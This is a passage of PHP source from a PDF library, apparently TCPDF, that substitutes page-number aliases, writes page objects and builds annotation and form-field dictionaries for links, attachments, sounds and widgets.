$alias = array(); // build array of Unicode + ASCII variants (the order is important) $alias = array('u' => array(), 'a' => array()); $u = '{'.$a.'}'; $alias['u'][] = $this->_escape($u); if ($this->isunicode) { $alias['u'][] = $this->_escape($this->UTF8ToLatin1($u)); $alias['u'][] = $this->_escape($this->utf8StrRev($u, false, $this->tmprtl)); $alias['a'][] = $this->_escape($this->UTF8ToLatin1($a)); $alias['a'][] = $this->_escape($this->utf8StrRev($a, false, $this->tmprtl)); } $alias['a'][] = $this->_escape($a); return $alias; } /** * Return an array containing all internal page aliases. * @return array of page number aliases * @protected */ protected function getAllInternalPageNumberAliases() { $basic_alias = array($this->alias_tot_pages, $this->alias_num_page, $this->alias_group_tot_pages, $this->alias_group_num_page, $this->alias_right_shift); $pnalias = array(); foreach($basic_alias as $k => $a) { $pnalias[$k] = $this->getInternalPageNumberAliases($a); } return $pnalias; } /** * Replace page number aliases with number. * @param $page (string) Page content. * @param $replace (array) Array of replacements (array keys are replacement strings, values are alias arrays). * @param $diff (int) If passed, this will be set to the total char number difference between alias and replacements. * @return replaced page content and updated $diff parameter as array. * @protected */ protected function replacePageNumAliases($page, $replace, $diff=0) { foreach ($replace as $rep) { foreach ($rep[3] as $a) { if (strpos($page, $a) !== false) { $page = str_replace($a, $rep[0], $page); $diff += ($rep[2] - $rep[1]); } } } return array($page, $diff); } /** * Replace right shift page number aliases with spaces to correct right alignment. * This works perfectly only when using monospaced fonts. * @param $page (string) Page content. * @param $aliases (array) Array of page aliases. * @param $diff (int) initial difference to add. * @return replaced page content. * @protected */ protected function replaceRightShiftPageNumAliases($page, $aliases, $diff) { foreach ($aliases as $type => $alias) { foreach ($alias as $a) { // find position of compensation factor $startnum = (strpos($a, ':') + 1); $a = substr($a, 0, $startnum); if (($pos = strpos($page, $a)) !== false) { // end of alias $endnum = strpos($page, '}', $pos); // string to be replaced $aa = substr($page, $pos, ($endnum - $pos + 1)); // get compensation factor $ratio = substr($page, ($pos + $startnum), ($endnum - $pos - $startnum)); $ratio = preg_replace('/[^0-9\.]/', '', $ratio); $ratio = floatval($ratio); if ($type == 'u') { $chrdiff = floor(($diff + 12) * $ratio); $shift = str_repeat(' ', $chrdiff); $shift = $this->UTF8ToUTF16BE($shift, false); } else { $chrdiff = floor(($diff + 11) * $ratio); $shift = str_repeat(' ', $chrdiff); } $page = str_replace($aa, $shift, $page); } } } return $page; } /** * Set page boxes to be included on page descriptions. * @param $boxes (array) Array of page boxes to set on document: ('MediaBox', 'CropBox', 'BleedBox', 'TrimBox', 'ArtBox'). * @protected */ protected function setPageBoxTypes($boxes) { $validboxes = array('MediaBox', 'CropBox', 'BleedBox', 'TrimBox', 'ArtBox'); $this->page_boxes = array(); foreach ($boxes as $box) { if (in_array($box, $validboxes)) { $this->page_boxes[] = $box; } } } /** * Output pages (and replace page number aliases). * @protected */ protected function _putpages() { $filter = ($this->compress) ? '/Filter /FlateDecode ' : ''; // get internal aliases for page numbers $pnalias = $this->getAllInternalPageNumberAliases(); $num_pages = $this->numpages; $ptpa = $this->formatPageNumber(($this->starting_page_number + $num_pages - 1)); $ptpu = $this->UTF8ToUTF16BE($ptpa, false); $ptp_num_chars = $this->GetNumChars($ptpa); $pagegroupnum = 0; $groupnum = 0; $ptgu = 1; $ptga = 1; for ($n = 1; $n <= $num_pages; ++$n) { // get current page $temppage = $this->getPageBuffer($n); $pagelen = strlen($temppage); // set replacements for total pages number $pnpa = $this->formatPageNumber(($this->starting_page_number + $n - 1)); $pnpu = $this->UTF8ToUTF16BE($pnpa, false); $pnp_num_chars = $this->GetNumChars($pnpa); $pdiff = 0; // difference used for right shift alignment of page numbers $gdiff = 0; // difference used for right shift alignment of page group numbers if (!empty($this->pagegroups)) { if (isset($this->newpagegroup[$n])) { $pagegroupnum = 0; ++$groupnum; $ptga = $this->formatPageNumber($this->pagegroups[$groupnum]); $ptgu = $this->UTF8ToUTF16BE($ptga, false); $ptg_num_chars = $this->GetNumChars($ptga); } ++$pagegroupnum; $pnga = $this->formatPageNumber($pagegroupnum); $pngu = $this->UTF8ToUTF16BE($pnga, false); $png_num_chars = $this->GetNumChars($pnga); // replace page numbers $replace = array(); $replace[] = array($ptgu, $ptg_num_chars, 9, $pnalias[2]['u']); $replace[] = array($ptga, $ptg_num_chars, 7, $pnalias[2]['a']); $replace[] = array($pngu, $png_num_chars, 9, $pnalias[3]['u']); $replace[] = array($pnga, $png_num_chars, 7, $pnalias[3]['a']); list($temppage, $gdiff) = $this->replacePageNumAliases($temppage, $replace, $gdiff); } // replace page numbers $replace = array(); $replace[] = array($ptpu, $ptp_num_chars, 9, $pnalias[0]['u']); $replace[] = array($ptpa, $ptp_num_chars, 7, $pnalias[0]['a']); $replace[] = array($pnpu, $pnp_num_chars, 9, $pnalias[1]['u']); $replace[] = array($pnpa, $pnp_num_chars, 7, $pnalias[1]['a']); list($temppage, $pdiff) = $this->replacePageNumAliases($temppage, $replace, $pdiff); // replace right shift alias $temppage = $this->replaceRightShiftPageNumAliases($temppage, $pnalias[4], max($pdiff, $gdiff)); // replace EPS marker $temppage = str_replace($this->epsmarker, '', $temppage); //Page $this->page_obj_id[$n] = $this->_newobj(); $out = '<<'; $out .= ' /Type /Page'; $out .= ' /Parent 1 0 R'; $out .= ' /LastModified '.$this->_datestring(0, $this->doc_modification_timestamp); $out .= ' /Resources 2 0 R'; foreach ($this->page_boxes as $box) { $out .= ' /'.$box; $out .= sprintf(' [%F %F %F %F]', $this->pagedim[$n][$box]['llx'], $this->pagedim[$n][$box]['lly'], $this->pagedim[$n][$box]['urx'], $this->pagedim[$n][$box]['ury']); } if (isset($this->pagedim[$n]['BoxColorInfo']) AND !empty($this->pagedim[$n]['BoxColorInfo'])) { $out .= ' /BoxColorInfo <<'; foreach ($this->page_boxes as $box) { if (isset($this->pagedim[$n]['BoxColorInfo'][$box])) { $out .= ' /'.$box.' <<'; if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['C'])) { $color = $this->pagedim[$n]['BoxColorInfo'][$box]['C']; $out .= ' /C ['; $out .= sprintf(' %F %F %F', ($color[0] / 255), ($color[1] / 255), ($color[2] / 255)); $out .= ' ]'; } if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['W'])) { $out .= ' /W '.($this->pagedim[$n]['BoxColorInfo'][$box]['W'] * $this->k); } if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['S'])) { $out .= ' /S /'.$this->pagedim[$n]['BoxColorInfo'][$box]['S']; } if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['D'])) { $dashes = $this->pagedim[$n]['BoxColorInfo'][$box]['D']; $out .= ' /D ['; foreach ($dashes as $dash) { $out .= sprintf(' %F', ($dash * $this->k)); } $out .= ' ]'; } $out .= ' >>'; } } $out .= ' >>'; } $out .= ' /Contents '.($this->n + 1).' 0 R'; $out .= ' /Rotate '.$this->pagedim[$n]['Rotate']; if (!$this->pdfa_mode) { $out .= ' /Group << /Type /Group /S /Transparency /CS /DeviceRGB >>'; } if (isset($this->pagedim[$n]['trans']) AND !empty($this->pagedim[$n]['trans'])) { // page transitions if (isset($this->pagedim[$n]['trans']['Dur'])) { $out .= ' /Dur '.$this->pagedim[$n]['trans']['Dur']; } $out .= ' /Trans <<'; $out .= ' /Type /Trans'; if (isset($this->pagedim[$n]['trans']['S'])) { $out .= ' /S /'.$this->pagedim[$n]['trans']['S']; } if (isset($this->pagedim[$n]['trans']['D'])) { $out .= ' /D '.$this->pagedim[$n]['trans']['D']; } if (isset($this->pagedim[$n]['trans']['Dm'])) { $out .= ' /Dm /'.$this->pagedim[$n]['trans']['Dm']; } if (isset($this->pagedim[$n]['trans']['M'])) { $out .= ' /M /'.$this->pagedim[$n]['trans']['M']; } if (isset($this->pagedim[$n]['trans']['Di'])) { $out .= ' /Di '.$this->pagedim[$n]['trans']['Di']; } if (isset($this->pagedim[$n]['trans']['SS'])) { $out .= ' /SS '.$this->pagedim[$n]['trans']['SS']; } if (isset($this->pagedim[$n]['trans']['B'])) { $out .= ' /B '.$this->pagedim[$n]['trans']['B']; } $out .= ' >>'; } $out .= $this->_getannotsrefs($n); $out .= ' /PZ '.$this->pagedim[$n]['PZ']; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); //Page content $p = ($this->compress) ? gzcompress($temppage) : $temppage; $this->_newobj(); $p = $this->_getrawstream($p); $this->_out('<<'.$filter.'/Length '.strlen($p).'>> stream'."\n".$p."\n".'endstream'."\n".'endobj'); if ($this->diskcache) { // remove temporary files unlink($this->pages[$n]); } } //Pages root $out = $this->_getobj(1)."\n"; $out .= '<< /Type /Pages /Kids ['; foreach($this->page_obj_id as $page_obj) { $out .= ' '.$page_obj.' 0 R'; } $out .= ' ] /Count '.$num_pages.' >>'; $out .= "\n".'endobj'; $this->_out($out); } /** * Output references to page annotations * @param $n (int) page number * @protected * @author Nicola Asuni * @since 4.7.000 (2008-08-29) * @deprecated */ protected function _putannotsrefs($n) { $this->_out($this->_getannotsrefs($n)); } /** * Get references to page annotations. * @param $n (int) page number * @return string * @protected * @author Nicola Asuni * @since 5.0.010 (2010-05-17) */ protected function _getannotsrefs($n) { if (!(isset($this->PageAnnots[$n]) OR ($this->sign AND isset($this->signature_data['cert_type'])))) { return ''; } $out = ' /Annots ['; if (isset($this->PageAnnots[$n])) { foreach ($this->PageAnnots[$n] as $key => $val) { if (!in_array($val['n'], $this->radio_groups)) { $out .= ' '.$val['n'].' 0 R'; } } // add radiobutton groups if (isset($this->radiobutton_groups[$n])) { foreach ($this->radiobutton_groups[$n] as $key => $data) { if (isset($data['n'])) { $out .= ' '.$data['n'].' 0 R'; } } } } if ($this->sign AND ($n == $this->signature_appearance['page']) AND isset($this->signature_data['cert_type'])) { // set reference for signature object $out .= ' '.$this->sig_obj_id.' 0 R'; } if (!empty($this->empty_signature_appearance)) { foreach ($this->empty_signature_appearance as $esa) { if ($esa['page'] == $n) { // set reference for empty signature objects $out .= ' '.$esa['objid'].' 0 R'; } } } $out .= ' ]'; return $out; } /** * Output annotations objects for all pages. * !!! THIS METHOD IS NOT YET COMPLETED !!! * See section 12.5 of PDF 32000_2008 reference. * @protected * @author Nicola Asuni * @since 4.0.018 (2008-08-06) */ protected function _putannotsobjs() { // reset object counter for ($n=1; $n <= $this->numpages; ++$n) { if (isset($this->PageAnnots[$n])) { // set page annotations foreach ($this->PageAnnots[$n] as $key => $pl) { $annot_obj_id = $this->PageAnnots[$n][$key]['n']; // create annotation object for grouping radiobuttons if (isset($this->radiobutton_groups[$n][$pl['txt']]) AND is_array($this->radiobutton_groups[$n][$pl['txt']])) { $radio_button_obj_id = $this->radiobutton_groups[$n][$pl['txt']]['n']; $annots = '<<'; $annots .= ' /Type /Annot'; $annots .= ' /Subtype /Widget'; $annots .= ' /Rect [0 0 0 0]'; if ($this->radiobutton_groups[$n][$pl['txt']]['#readonly#']) { // read only $annots .= ' /F 68'; $annots .= ' /Ff 49153'; } else { $annots .= ' /F 4'; // default print for PDF/A $annots .= ' /Ff 49152'; } $annots .= ' /T '.$this->_datastring($pl['txt'], $radio_button_obj_id); if (isset($pl['opt']['tu']) AND is_string($pl['opt']['tu'])) { $annots .= ' /TU '.$this->_datastring($pl['opt']['tu'], $radio_button_obj_id); } $annots .= ' /FT /Btn'; $annots .= ' /Kids ['; $defval = ''; foreach ($this->radiobutton_groups[$n][$pl['txt']] as $key => $data) { if (isset($data['kid'])) { $annots .= ' '.$data['kid'].' 0 R'; if ($data['def'] !== 'Off') { $defval = $data['def']; } } } $annots .= ' ]'; if (!empty($defval)) { $annots .= ' /V /'.$defval; } $annots .= ' >>'; $this->_out($this->_getobj($radio_button_obj_id)."\n".$annots."\n".'endobj'); $this->form_obj_id[] = $radio_button_obj_id; // store object id to be used on Parent entry of Kids $this->radiobutton_groups[$n][$pl['txt']] = $radio_button_obj_id; } $formfield = false; $pl['opt'] = array_change_key_case($pl['opt'], CASE_LOWER); $a = $pl['x'] * $this->k; $b = $this->pagedim[$n]['h'] - (($pl['y'] + $pl['h']) * $this->k); $c = $pl['w'] * $this->k; $d = $pl['h'] * $this->k; $rect = sprintf('%F %F %F %F', $a, $b, $a+$c, $b+$d); // create new annotation object $annots = '<</Type /Annot'; $annots .= ' /Subtype /'.$pl['opt']['subtype']; $annots .= ' /Rect ['.$rect.']'; $ft = array('Btn', 'Tx', 'Ch', 'Sig'); if (isset($pl['opt']['ft']) AND in_array($pl['opt']['ft'], $ft)) { $annots .= ' /FT /'.$pl['opt']['ft']; $formfield = true; } $annots .= ' /Contents '.$this->_textstring($pl['txt'], $annot_obj_id); $annots .= ' /P '.$this->page_obj_id[$n].' 0 R'; $annots .= ' /NM '.$this->_datastring(sprintf('%04u-%04u', $n, $key), $annot_obj_id); $annots .= ' /M '.$this->_datestring($annot_obj_id, $this->doc_modification_timestamp); if (isset($pl['opt']['f'])) { $fval = 0; if (is_array($pl['opt']['f'])) { foreach ($pl['opt']['f'] as $f) { switch (strtolower($f)) { case 'invisible': { $fval += 1 << 0; break; } case 'hidden': { $fval += 1 << 1; break; } case 'print': { $fval += 1 << 2; break; } case 'nozoom': { $fval += 1 << 3; break; } case 'norotate': { $fval += 1 << 4; break; } case 'noview': { $fval += 1 << 5; break; } case 'readonly': { $fval += 1 << 6; break; } case 'locked': { $fval += 1 << 8; break; } case 'togglenoview': { $fval += 1 << 9; break; } case 'lockedcontents': { $fval += 1 << 10; break; } default: { break; } } } } else { $fval = intval($pl['opt']['f']); } } else { $fval = 4; } if ($this->pdfa_mode) { // force print flag for PDF/A mode $fval |= 4; } $annots .= ' /F '.intval($fval); if (isset($pl['opt']['as']) AND is_string($pl['opt']['as'])) { $annots .= ' /AS /'.$pl['opt']['as']; } if (isset($pl['opt']['ap'])) { // appearance stream $annots .= ' /AP <<'; if (is_array($pl['opt']['ap'])) { foreach ($pl['opt']['ap'] as $apmode => $apdef) { // $apmode can be: n = normal; r = rollover; d = down; $annots .= ' /'.strtoupper($apmode); if (is_array($apdef)) { $annots .= ' <<'; foreach ($apdef as $apstate => $stream) { // reference to XObject that define the appearance for this mode-state $apsobjid = $this->_putAPXObject($c, $d, $stream); $annots .= ' /'.$apstate.' '.$apsobjid.' 0 R'; } $annots .= ' >>'; } else { // reference to XObject that define the appearance for this mode $apsobjid = $this->_putAPXObject($c, $d, $apdef); $annots .= ' '.$apsobjid.' 0 R'; } } } else { $annots .= $pl['opt']['ap']; } $annots .= ' >>'; } if (isset($pl['opt']['bs']) AND (is_array($pl['opt']['bs']))) { $annots .= ' /BS <<'; $annots .= ' /Type /Border'; if (isset($pl['opt']['bs']['w'])) { $annots .= ' /W '.intval($pl['opt']['bs']['w']); } $bstyles = array('S', 'D', 'B', 'I', 'U'); if (isset($pl['opt']['bs']['s']) AND in_array($pl['opt']['bs']['s'], $bstyles)) { $annots .= ' /S /'.$pl['opt']['bs']['s']; } if (isset($pl['opt']['bs']['d']) AND (is_array($pl['opt']['bs']['d']))) { $annots .= ' /D ['; foreach ($pl['opt']['bs']['d'] as $cord) { $annots .= ' '.intval($cord); } $annots .= ']'; } $annots .= ' >>'; } else { $annots .= ' /Border ['; if (isset($pl['opt']['border']) AND (count($pl['opt']['border']) >= 3)) { $annots .= intval($pl['opt']['border'][0]).' '; $annots .= intval($pl['opt']['border'][1]).' '; $annots .= intval($pl['opt']['border'][2]); if (isset($pl['opt']['border'][3]) AND is_array($pl['opt']['border'][3])) { $annots .= ' ['; foreach ($pl['opt']['border'][3] as $dash) { $annots .= intval($dash).' '; } $annots .= ']'; } } else { $annots .= '0 0 0'; } $annots .= ']'; } if (isset($pl['opt']['be']) AND (is_array($pl['opt']['be']))) { $annots .= ' /BE <<'; $bstyles = array('S', 'C'); if (isset($pl['opt']['be']['s']) AND in_array($pl['opt']['be']['s'], $bstyles)) { $annots .= ' /S /'.$pl['opt']['bs']['s']; } else { $annots .= ' /S /S'; } if (isset($pl['opt']['be']['i']) AND ($pl['opt']['be']['i'] >= 0) AND ($pl['opt']['be']['i'] <= 2)) { $annots .= ' /I '.sprintf(' %F', $pl['opt']['be']['i']); } $annots .= '>>'; } if (isset($pl['opt']['c']) AND (is_array($pl['opt']['c'])) AND !empty($pl['opt']['c'])) { $annots .= ' /C '.$this->getColorStringFromArray($pl['opt']['c']); } //$annots .= ' /StructParent '; //$annots .= ' /OC '; $markups = array('text', 'freetext', 'line', 'square', 'circle', 'polygon', 'polyline', 'highlight', 'underline', 'squiggly', 'strikeout', 'stamp', 'caret', 'ink', 'fileattachment', 'sound'); if (in_array(strtolower($pl['opt']['subtype']), $markups)) { // this is a markup type if (isset($pl['opt']['t']) AND is_string($pl['opt']['t'])) { $annots .= ' /T '.$this->_textstring($pl['opt']['t'], $annot_obj_id); } //$annots .= ' /Popup '; if (isset($pl['opt']['ca'])) { $annots .= ' /CA '.sprintf('%F', floatval($pl['opt']['ca'])); } if (isset($pl['opt']['rc'])) { $annots .= ' /RC '.$this->_textstring($pl['opt']['rc'], $annot_obj_id); } $annots .= ' /CreationDate '.$this->_datestring($annot_obj_id, $this->doc_creation_timestamp); //$annots .= ' /IRT '; if (isset($pl['opt']['subj'])) { $annots .= ' /Subj '.$this->_textstring($pl['opt']['subj'], $annot_obj_id); } //$annots .= ' /RT '; //$annots .= ' /IT '; //$annots .= ' /ExData '; } $lineendings = array('Square', 'Circle', 'Diamond', 'OpenArrow', 'ClosedArrow', 'None', 'Butt', 'ROpenArrow', 'RClosedArrow', 'Slash'); // Annotation types switch (strtolower($pl['opt']['subtype'])) { case 'text': { if (isset($pl['opt']['open'])) { $annots .= ' /Open '. (strtolower($pl['opt']['open']) == 'true' ? 'true' : 'false'); } $iconsapp = array('Comment', 'Help', 'Insert', 'Key', 'NewParagraph', 'Note', 'Paragraph'); if (isset($pl['opt']['name']) AND in_array($pl['opt']['name'], $iconsapp)) { $annots .= ' /Name /'.$pl['opt']['name']; } else { $annots .= ' /Name /Note'; } $statemodels = array('Marked', 'Review'); if (isset($pl['opt']['statemodel']) AND in_array($pl['opt']['statemodel'], $statemodels)) { $annots .= ' /StateModel /'.$pl['opt']['statemodel']; } else { $pl['opt']['statemodel'] = 'Marked'; $annots .= ' /StateModel /'.$pl['opt']['statemodel']; } if ($pl['opt']['statemodel'] == 'Marked') { $states = array('Accepted', 'Unmarked'); } else { $states = array('Accepted', 'Rejected', 'Cancelled', 'Completed', 'None'); } if (isset($pl['opt']['state']) AND in_array($pl['opt']['state'], $states)) { $annots .= ' /State /'.$pl['opt']['state']; } else { if ($pl['opt']['statemodel'] == 'Marked') { $annots .= ' /State /Unmarked'; } else { $annots .= ' /State /None'; } } break; } case 'link': { if (is_string($pl['txt'])) { if ($pl['txt'][0] == '#') { // internal destination $annots .= ' /Dest /'.$this->encodeNameObject(substr($pl['txt'], 1)); } elseif ($pl['txt'][0] == '%') { // embedded PDF file $filename = basename(substr($pl['txt'], 1)); $annots .= ' /A << /S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P '.($n - 1).' /A '.$this->embeddedfiles[$filename]['a'].' >> >>'; } elseif ($pl['txt'][0] == '*') { // embedded generic file $filename = basename(substr($pl['txt'], 1)); $jsa = 'var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="'.$filename.'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});'; $annots .= ' /A << /S /JavaScript /JS '.$this->_textstring($jsa, $annot_obj_id).'>>'; } else { // external URI link $annots .= ' /A <</S /URI /URI '.$this->_datastring($this->unhtmlentities($pl['txt']), $annot_obj_id).'>>'; } } elseif (isset($this->links[$pl['txt']])) { // internal link ID $l = $this->links[$pl['txt']]; if (isset($this->page_obj_id[($l[0])])) { $annots .= sprintf(' /Dest [%u 0 R /XYZ 0 %F null]', $this->page_obj_id[($l[0])], ($this->pagedim[$l[0]]['h'] - ($l[1] * $this->k))); } } $hmodes = array('N', 'I', 'O', 'P'); if (isset($pl['opt']['h']) AND in_array($pl['opt']['h'], $hmodes)) { $annots .= ' /H /'.$pl['opt']['h']; } else { $annots .= ' /H /I'; } //$annots .= ' /PA '; //$annots .= ' /Quadpoints '; break; } case 'freetext': { if (isset($pl['opt']['da']) AND !empty($pl['opt']['da'])) { $annots .= ' /DA ('.$pl['opt']['da'].')'; } if (isset($pl['opt']['q']) AND ($pl['opt']['q'] >= 0) AND ($pl['opt']['q'] <= 2)) { $annots .= ' /Q '.intval($pl['opt']['q']); } if (isset($pl['opt']['rc'])) { $annots .= ' /RC '.$this->_textstring($pl['opt']['rc'], $annot_obj_id); } if (isset($pl['opt']['ds'])) { $annots .= ' /DS '.$this->_textstring($pl['opt']['ds'], $annot_obj_id); } if (isset($pl['opt']['cl']) AND is_array($pl['opt']['cl'])) { $annots .= ' /CL ['; foreach ($pl['opt']['cl'] as $cl) { $annots .= sprintf('%F ', $cl * $this->k); } $annots .= ']'; } $tfit = array('FreeText', 'FreeTextCallout', 'FreeTextTypeWriter'); if (isset($pl['opt']['it']) AND in_array($pl['opt']['it'], $tfit)) { $annots .= ' /IT /'.$pl['opt']['it']; } if (isset($pl['opt']['rd']) AND is_array($pl['opt']['rd'])) { $l = $pl['opt']['rd'][0] * $this->k; $r = $pl['opt']['rd'][1] * $this->k; $t = $pl['opt']['rd'][2] * $this->k; $b = $pl['opt']['rd'][3] * $this->k; $annots .= ' /RD ['.sprintf('%F %F %F %F', $l, $r, $t, $b).']'; } if (isset($pl['opt']['le']) AND in_array($pl['opt']['le'], $lineendings)) { $annots .= ' /LE /'.$pl['opt']['le']; } break; } case 'line': { break; } case 'square': { break; } case 'circle': { break; } case 'polygon': { break; } case 'polyline': { break; } case 'highlight': { break; } case 'underline': { break; } case 'squiggly': { break; } case 'strikeout': { break; } case 'stamp': { break; } case 'caret': { break; } case 'ink': { break; } case 'popup': { break; } case 'fileattachment': { if ($this->pdfa_mode) { // embedded files are not allowed in PDF/A mode break; } if (!isset($pl['opt']['fs'])) { break; } $filename = basename($pl['opt']['fs']); if (isset($this->embeddedfiles[$filename]['f'])) { $annots .= ' /FS '.$this->embeddedfiles[$filename]['f'].' 0 R'; $iconsapp = array('Graph', 'Paperclip', 'PushPin', 'Tag'); if (isset($pl['opt']['name']) AND in_array($pl['opt']['name'], $iconsapp)) { $annots .= ' /Name /'.$pl['opt']['name']; } else { $annots .= ' /Name /PushPin'; } // index (zero-based) of the annotation in the Annots array of this page $this->embeddedfiles[$filename]['a'] = $key; } break; } case 'sound': { if (!isset($pl['opt']['fs'])) { break; } $filename = basename($pl['opt']['fs']); if (isset($this->embeddedfiles[$filename]['f'])) { // ... TO BE COMPLETED ... // /R /C /B /E /CO /CP $annots .= ' /Sound '.$this->embeddedfiles[$filename]['f'].' 0 R'; $iconsapp = array('Speaker', 'Mic'); if (isset($pl['opt']['name']) AND in_array($pl['opt']['name'], $iconsapp)) { $annots .= ' /Name /'.$pl['opt']['name']; } else { $annots .= ' /Name /Speaker'; } } break; } case 'movie': { break; } case 'widget': { $hmode = array('N', 'I', 'O', 'P', 'T'); if (isset($pl['opt']['h']) AND in_array($pl['opt']['h'], $hmode)) { $annots .= ' /H /'.$pl['opt']['h']; } if (isset($pl['opt']['mk']) AND (is_array($pl['opt']['mk'])) AND !empty($pl['opt']['mk'])) { $annots .= ' /MK <<'; if (isset($pl['opt']['mk']['r'])) { $annots .= ' /R '.$pl['opt']['mk']['r']; } if (isset($pl['opt']['mk']['bc']) AND (is_array($pl['opt']['mk']['bc']))) { $annots .= ' /BC '.$this->getColorStringFromArray($pl['opt']['mk']['bc']); } if (isset($pl['opt']['mk']['bg']) AND (is_array($pl['opt']['mk']['bg']))) { $annots .= ' /BG '.$this->getColorStringFromArray($pl['opt']['mk']['bg']); } if (isset($pl['opt']['mk']['ca'])) { $annots .= ' /CA '.$pl['opt']['mk']['ca']; } if (isset($pl['opt']['mk']['rc'])) { $annots .= ' /RC '.$pl['opt']['mk']['rc']; } if (isset($pl['opt']['mk']['ac'])) { $annots .= ' /AC '.$pl['opt']['mk']['ac']; } if (isset($pl['opt']['mk']['i'])) { $info = $this->getImageBuffer($pl['opt']['mk']['i']); if ($info !== false) { $annots .= ' /I '.$info['n'].' 0 R'; } } if (isset($pl['opt']['mk']['ri'])) { $info = $this->getImageBuffer($pl['opt']['mk']['ri']); if ($info !== false) { $annots .= ' /RI '.$info['n'].' 0 R'; } } if (isset($pl['opt']['mk']['ix'])) { $info = $this->getImageBuffer($pl['opt']['mk']['ix']); if ($info !== false) { $annots .= ' /IX '.$info['n'].' 0 R'; } } if (isset($pl['opt']['mk']['if']) AND (is_array($pl['opt']['mk']['if'])) AND !empty($pl['opt']['mk']['if'])) { $annots .= ' /IF <<'; $if_sw = array('A', 'B', 'S', 'N'); if (isset($pl['opt']['mk']['if']['sw']) AND in_array($pl['opt']['mk']['if']['sw'], $if_sw)) { $annots .= ' /SW /'.$pl['opt']['mk']['if']['sw']; } $if_s = array('A', 'P'); if (isset($pl['opt']['mk']['if']['s']) AND in_array($pl['opt']['mk']['if']['s'], $if_s)) { $annots .= ' /S /'.$pl['opt']['mk']['if']['s']; } if (isset($pl['opt']['mk']['if']['a']) AND (is_array($pl['opt']['mk']['if']['a'])) AND !empty($pl['opt']['mk']['if']['a'])) { $annots .= sprintf(' /A [%F %F]', $pl['opt']['mk']['if']['a'][0], $pl['opt']['mk']['if']['a'][1]); } if (isset($pl['opt']['mk']['if']['fb']) AND ($pl['opt']['mk']['if']['fb'])) { $annots .= ' /FB true'; } $annots .= '>>'; } if (isset($pl['opt']['mk']['tp']) AND ($pl['opt']['mk']['tp'] >= 0) AND ($pl['opt']['mk']['tp'] <= 6)) { $annots .= ' /TP '.intval($pl['opt']['mk']['tp']); } $annots .= '>>'; } // end MK // --- Entries for field dictionaries --- if (isset($this->radiobutton_groups[$n][$pl['txt']])) { // set parent $annots .= ' /Parent '.$this->radiobutton_groups[$n][$pl['txt']].' 0 R'; } if (isset($pl['opt']['t']) AND is_string($pl['opt']['t'])) { $annots .= ' /T '.$this->_datastring($pl['opt']['t'], $annot_obj_id); } if (isset($pl['opt']['tu']) AND is_string($pl['opt']['tu'])) { $annots .= ' /TU '.$this->_datastring($pl['opt']['tu'], $annot_obj_id); } if (isset($pl['opt']['tm']) AND is_string($pl['opt']['tm'])) { $annots .= ' /TM '.$this->_datastring($pl['opt']['tm'], $annot_obj_id); } if (isset($pl['opt']['ff'])) { if (is_array($pl['opt']['ff'])) { // array of bit settings $flag = 0; foreach($pl['opt']['ff'] as $val) { $flag += 1 << ($val - 1); } } else { $flag = intval($pl['opt']['ff']); } $annots .= ' /Ff '.$flag; } if (isset($pl['opt']['maxlen'])) { $annots .= ' /MaxLen '.intval($pl['opt']['maxlen']); } if (isset($pl['opt']['v'])) { $annots .= ' /V'; if (is_array($pl['opt']['v'])) { foreach ($pl['opt']['v'] AS $optval) { if (is_float($optval)) { $optval = sprintf('%F', $optval); } $annots .= ' '.$optval; } } else { $annots .= ' '.$this->_textstring($pl['opt']['v'], $annot_obj_id); } } if (isset($pl['opt']['dv'])) { $annots .= ' /DV'; if (is_array($pl['opt']['dv'])) { foreach ($pl['opt']['dv'] AS $optval) { if (is_float($optval)) { $optval = sprintf('%F', $optval); } $annots .= ' '.$optval; } } else { $annots .= ' '.$this->_textstring($pl['opt']['dv'], $annot_obj_id); } } if (isset($pl['opt']['rv'])) { $annots .= ' /RV'; if (is_array($pl['opt']['rv'])) { foreach ($pl['opt']['rv'] AS $optval) { if (is_float($optval)) { $optval = sprintf('%F', $optval); } $annots .= ' '.$optval; } } else { $annots .= ' '.$this->_textstring($pl['opt']['rv'], $annot_obj_id); } } if (isset($pl['opt']['a']) AND !empty($pl['opt']['a'])) { $annots .= ' /A << '.$pl['opt']['a'].' >>'; } if (isset($pl['opt']['aa']) AND !empty($pl['opt']['aa'])) { $annots .= ' /AA << '.$pl['opt']['aa'].' >>'; } if (isset($pl['opt']['da']) AND !empty($pl['opt']['da'])) { $annots .= ' /DA ('.$pl['opt']['da'].')'; } if (isset($pl['opt']['q']) AND ($pl['opt']['q'] >= 0) AND ($pl['opt']['q'] <= 2)) { $annots .= ' /Q '.intval($pl['opt']['q']); } if (isset($pl['opt']['opt']) AND (is_array($pl['opt']['opt'])) AND !empty($pl['opt']['opt'])) { $annots .= ' /Opt ['; foreach($pl['opt']['opt'] AS $copt) { if (is_array($copt)) { $annots .= ' ['.$this->_textstring($copt[0], $annot_obj_id).' '.$this->_textstring($copt[1], $annot_obj_id).']'; } else { $annots .= ' '.$this->_textstring($copt, $annot_obj_id); } } $annots .= ']'; } if (isset($pl['opt']['ti'])) { $annots .= ' /TI '.intval($pl['opt']['ti']); } if (isset($pl['opt']['i']) AND (is_array($pl['opt']['i'])) AND !empty($pl['opt']['i'])) { $annots .= ' /I ['; foreach($pl['opt']['i'] AS $copt) { $annots .= intval($copt).' '; } $annots .= ']'; } break; } case 'screen': { break; } case 'printermark': { break; } case 'trapnet': { break; } case 'watermark': { break; } case '3d': { break; } default: { break; } } $annots .= '>>'; // create new annotation object $this->_out($this->_getobj($annot_obj_id)."\n".$annots."\n".'endobj'); if ($formfield AND !isset($this->radiobutton_groups[$n][$pl['txt']])) { // store reference of form object $this->form_obj_id[] = $annot_obj_id; } } } } // end for each page } /** * Put appearance streams XObject used to define annotation's appearance states. * @param $w (int) annotation width * @param $h (int) annotation height * @param $stream (string) appearance stream * @return int object ID * @protected * @since 4.8.001 (2009-09-09) */ protected function _putAPXObject($w=0, $h=0, $stream='') { $stream = trim($stream); $out = $this->_getobj()."\n"; $this->xobjects['AX'.$this->n] = array('n' => $this->n); $out .= '<<'; $out .= ' /Type /XObject'; $out .= ' /Subtype /Form'; $out .= ' /FormType 1'; if ($this->compress) { $stream = 